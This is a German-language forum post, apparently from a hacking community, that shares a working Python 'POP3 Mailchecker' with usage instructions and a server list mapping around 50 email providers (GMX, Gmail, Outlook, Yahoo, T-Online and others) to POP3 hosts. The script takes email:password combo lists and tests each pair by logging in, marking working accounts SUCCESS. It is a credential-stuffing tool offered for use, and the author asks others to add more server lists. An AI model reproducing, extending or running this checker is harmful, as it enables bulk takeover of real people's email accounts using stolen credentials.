POP3 Mailchecker (with custom server list)

[s3rb31]

Soo hier ein POP3 Checker denn ich schon vor geraumer Zeit zusammengehackt habe, der aber noch prima funktioniert.

Die Maildaten sollten entsprechendes Format haben:

test@gmx.de:passwort

wobei der Delimiter (Doppelpunkt) auch ein anderer Buchstabe sein kann, wenn dies entsprechend beim Programmaufruf spezifiziert wurde.

Usage

[17:18:48] s3rb31@archbase:~/code/mailchecker $ ./mailchecker.py
Usage:
        ./mailchecker.py -i <inputfile> [-d <delim>] [-s <srv-list>]

        <delim> defaults to ':'
        <srv-list> defaults to 'popdata.txt'

  Use the '>' operator to redirect the output to any given file,
  for example:

        ./mailchecker.py -i inputfile.txt -s srvlst.txt > C:\data\outputfile.txt

mailchecker.py

#!/usr/bin/python
# written by s3rb31@mail.ru
# don't steal my code! don't leak!

import zlib
import poplib
import sys, time
import re, getopt

class POP3Checker():

    def __init__(self, input_file, srv_file, delim):
        self.srv_list = []
        for line in open(srv_file, "r"):
            self.srv_list.append(line.rstrip('\r\n'))

        if len(self.srv_list) < 1:
            raise EOFError("Error: Server list is empty!")

        self.input_list = []
        for line in open(input_file, "r"):
            self.input_list.append(line.rstrip('\r\n'))

        if len(self.input_list) < 1:
            raise EOFError("Error: E-Mail list is empty!")

        self.delim = delim

    def __get_srv__(self, mail):
        mail_host = mail.split('@')[1]

        for i in range(0, len(self.srv_list)):
            srv = self.srv_list[i]
            srv_host_end = srv.find('(')

            if srv_host_end == -1 or srv[0:1] != '@':
                print("Error on line " + str(i+1) + " in server list.\n" +
                        "Server information is malformed, skipping entry.")
                del self.srv_list[i]; continue

            if mail_host == srv[1:srv_host_end]:
                return srv[srv_host_end + 1:-1].split(':')

        return False

    def __check_login__(self, mail, pw, srv):
        while True:
            try:
                conn = poplib.POP3_SSL(srv[0], srv[1]) if srv[1] == "995" else poplib.POP3(srv[0], srv[1])
                conn.user(mail)
                conn.pass_(pw)
                conn.quit()
                return True
            except poplib.error_proto:
                if '@' in mail:
                    mail = mail.split('@')[0]
                    continue
                break
            except OSError as e:
                print("Error: " + e.strerror + " Server: " + srv[0] + ":" + srv[1])
                break

        return False

    def __parse_line_and_check__(self, line):
        pw = line.split(self.delim, 1)[1]
        mail = line.split(self.delim, 1)[0]

        srv = self.__get_srv__(mail)

        if srv == False:
            return 'NOSERVER'

        return 'SUCCESS' if self.__check_login__(mail, pw, srv) else 'FAIL'

    def start(self):
        for line in self.input_list:
            if len(line) > 3:
                status = self.__parse_line_and_check__(line)
                print(line + self.delim + status) # this is our final output


def usage(name):

    help_str  = "Usage:\n\t"
    help_str +=         name + " -i <inputfile> [-d <delim>] [-s <srv-list>]\n\n"

    help_str += "        <delim> defaults to ':'\n"
    help_str += "        <srv-list> defaults to 'popdata.txt'\n\n"

    help_str += "  Use the '>' operator to redirect the output to any given file,\n"
    help_str += "  for example:\n\n\t"

    help_str +=         name + " -i inputfile.txt -s srvlst.txt > C:\data\outputfile.txt"

    print(help_str)

if __name__ == "__main__":

    delim = ':'
    input_file = ''
    srv_file = 'popdata.txt'

    try:
        opts, args = getopt.getopt(sys.argv[1:], "hi:d:s:")
    except getopt.GetoptError:
        usage(sys.argv[0]);
        sys.exit()

    for opt, arg in opts:
        if opt in ("-i"): input_file = arg
        elif opt in ("-d"): delim = arg[0:1]
        elif opt in ("-s"): srv_file = arg

    if len(input_file) < 1 or len(srv_file) < 1 or len(delim) < 1:
        usage(sys.argv[0]);
        sys.exit()

    try:
        checker = POP3Checker(input_file, srv_file, delim)
        checker.start()
    except FileNotFoundError as e:
        print("Error: " + e.strerror + " '"+ e.filename  + "'")
    except EOFError as e:
        print(str(e))

popdata.txt

@12move.de(pop.12move.de:110)
@addcom.de(pop.addcom.de:110)
@alice.de(pop3.alice.de:110)
@aol.com(pop.aol.com:110)
@aol.de(pop.aol.com:995)
@arcor.de(pop3.arcor.de:110)
@compuserve.de(pop.compuserve.de:110)
@directbox.com(pop3.directbox.com:995)
@directbox.de(pop3.directbox.com:995)
@email.de(pop3.web.de:995)
@epost.de(mail.epost.de:110)
@freenet.de(mx.freenet.de:995)
@gmail.com(pop.gmail.com:995)
@gmx.ch(pop.gmx.net:995)
@gmx.at(pop.gmx.net:995)
@gmx.de(pop.gmx.net:995)
@gmx.info(pop.gmx.net:995)
@gmx.com(pop.gmx.net:995)
@gmx.org(pop.gmx.net:995)
@gmx.net(pop.gmx.net:995)
@googlemail.com(pop.gmail.com:995)
@hotmail.de(pop-mail.outlook.com:995)
@hotmail.com(pop-mail.outlook.com:995)
@hushmail.com(pop.hushmail.com:110)
@kabelmail.de(pop3.kabelmail.de:110)
@live.com(pop-mail.outlook.com:995)
@live.de(pop-mail.outlook.com:995)
@lycos.de(pop.lycos.de:110)
@mail.de(pop.mail.de:995)
@msn.com(pop-mail.outlook.com:995)
@msn.de(pop-mail.outlook.com:995)
@ok.de(mail.ok.de:110)
@online.de(pop.1und1.de:110)
@onlinehome.de(pop.onlinehome.de:110)
@1und1.de(pop.onlinehome.de:110)
@outlook.com(pop-mail.outlook.com:995)
@outlook.de(pop-mail.outlook.com:995)
@planet-interkom.de(pop.planet-interkom.de:110)
@space2go.com(pop.space2go.com:110)
@strato.de(pop3.strato.de:110)
@surfeu.de(pop.surfeu.de:110)
@t-online.de(popmail.t-online.de:110)
@tiscali.de(pop.tiscali.de:110)
@versanet.de(pop3.versatel.de:110)
@web.de(pop3.web.de:995)
@worldonline.de(pop.worldonline.de:110)
@yahoo.com(pop.mail.yahoo.com:110)
@yahoo.com(pop.mail.yahoo.com:995)
@yahoo.de(pop.mail.yahoo.com:995)
@yahoo.de(pop.mail.yahoo.de:110)
@yahoo.net(pop.mail.yahoo.com:995)
@ymail.com(pop.mail.yahoo.com:995)
@me.com(mail.me.com:110)
@mail.ru(pop.mail.ru:110)

Man kann die Liste mit den POP Server natürlich beliebig erweitern. Falls jemand da noch Listen hat darf er die auch gerne Posten!